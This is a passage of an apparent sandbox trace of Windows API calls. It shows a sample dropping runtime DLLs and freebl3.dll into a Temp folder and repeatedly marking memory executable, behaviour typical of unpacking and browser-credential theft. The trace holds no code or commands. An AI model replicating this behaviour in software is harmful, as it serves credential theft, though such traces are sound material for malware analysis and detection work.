dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.860] WriteFile (in: hFile=0x44, lpBuffer=0x1f3830b4*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3830b4*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.861] CloseHandle (hObject=0x44) returned 1 [0148.865] VirtualFree (lpAddress=0x1f384000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.866] VirtualAlloc (lpAddress=0x1f384000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f384000 [0148.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f37c00c, cbMultiByte=30, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-math-l1-1-0.dllll.dlll.dll.dll") returned 30 [0148.867] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.867] VirtualAlloc (lpAddress=0x1f38c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f38c000 [0148.868] WriteFile (in: hFile=0x44, lpBuffer=0x1f38a1fc*, nNumberOfBytesToWrite=0x7138, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f38a1fc*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x7138, lpOverlapped=0x0) returned 1 [0148.869] CloseHandle (hObject=0x44) returned 1 [0148.873] VirtualFree (lpAddress=0x1f38c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.874] VirtualFree (lpAddress=0x1f37c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.874] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.875] VirtualFree (lpAddress=0x1f380000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f38a1fc, cbMultiByte=35, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-multibyte-l1-1-0.dllll.dll.dll") returned 35 [0148.876] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.876] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.876] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.877] WriteFile (in: hFile=0x44, lpBuffer=0x1f36c00c*, nNumberOfBytesToWrite=0x6738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36c00c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x6738, lpOverlapped=0x0) returned 1 [0148.879] CloseHandle (hObject=0x44) returned 1 [0148.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.892] VirtualFree (lpAddress=0x1f36c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.893] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f38800c, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-private-l1-1-0.dllllll.dll.dll") returned 33 [0148.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.895] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.896] VirtualAlloc (lpAddress=0x1f38c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f38c000 [0148.898] WriteFile (in: hFile=0x44, lpBuffer=0x1f38803c*, nNumberOfBytesToWrite=0x11d38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f38803c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x11d38, lpOverlapped=0x0) returned 1 [0148.899] CloseHandle (hObject=0x44) returned 1 [0148.905] VirtualFree (lpAddress=0x1f38c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0148.906] VirtualFree (lpAddress=0x1f368000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0148.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f38803c, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-process-l1-1-0.dllllll.dll.dll") returned 33 [0148.907] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.944] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.945] WriteFile (in: hFile=0x44, lpBuffer=0x1f3663d0*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3663d0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4b38, lpOverlapped=0x0) returned 1 [0148.947] CloseHandle (hObject=0x44) returned 1 [0148.949] VirtualFree (lpAddress=0x1f368000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.950] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f38800c, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-runtime-l1-1-0.dllllll.dll.dll") returned 33 [0148.951] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.952] VirtualAlloc (lpAddress=0x1f370000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f370000 [0148.952] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.953] WriteFile (in: hFile=0x44, lpBuffer=0x1f37000c*, nNumberOfBytesToWrite=0x5938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f37000c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5938, lpOverlapped=0x0) returned 1 [0148.955] CloseHandle (hObject=0x44) returned 1 [0148.957] VirtualFree (lpAddress=0x1f370000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.960] VirtualFree (lpAddress=0x1f388000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.960] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.961] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f361888, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-stdio-l1-1-0.dllllllll.dll.dll") returned 31 [0148.962] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.962] VirtualAlloc (lpAddress=0x1f374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f374000 [0148.963] WriteFile (in: hFile=0x44, lpBuffer=0x1f371c58*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f371c58*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5f30, lpOverlapped=0x0) returned 1 [0148.965] CloseHandle (hObject=0x44) returned 1 [0148.969] VirtualFree (lpAddress=0x1f374000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.970] VirtualAlloc (lpAddress=0x1f374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f374000 [0148.971] VirtualFree (lpAddress=0x1f368000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f371c58, cbMultiByte=32, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-string-l1-1-0.dlllllll.dll.dll") returned 32 [0148.971] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.972] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.972] VirtualFree (lpAddress=0x1f378000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.973] WriteFile (in: hFile=0x44, lpBuffer=0x1f361888*, nNumberOfBytesToWrite=0x5bc0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f361888*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5bc0, lpOverlapped=0x0) returned 1 [0148.975] CloseHandle (hObject=0x44) returned 1 [0148.978] VirtualFree (lpAddress=0x1f364000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.978] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.979] VirtualFree (lpAddress=0x1f370000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f361888, cbMultiByte=30, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-time-l1-1-0.dlllllllll.dll.dll") returned 30 [0148.979] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.980] WriteFile (in: hFile=0x44, lpBuffer=0x1f3669fc*, nNumberOfBytesToWrite=0x5138, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3669fc*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5138, lpOverlapped=0x0) returned 1 [0148.982] CloseHandle (hObject=0x44) returned 1 [0148.983] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.984] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.984] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f3669fc, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-utility-l1-1-0.dllllll.dll.dll") returned 33 [0148.985] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.985] WriteFile (in: hFile=0x44, lpBuffer=0x1f36b374*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36b374*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.987] CloseHandle (hObject=0x44) returned 1 [0148.988] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.989] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.004] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.011] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfd0e0, cbMultiByte=11, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="freebl3.dllcrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0149.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.012] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/freebl3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\freebl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.013] VirtualAlloc (lpAddress=0x1f3c0000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f3c0000 [0149.019] WriteFile (in: hFile=0x44, lpBuffer=0x1f3bc754*, nNumberOfBytesToWrite=0x513d0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3bc754*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x513d0, lpOverlapped=0x0) returned 1 [0149.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.032] CloseHandle (hObject=0x44) returned 1 [0149.051] NtProtectVirtualMemory (in: 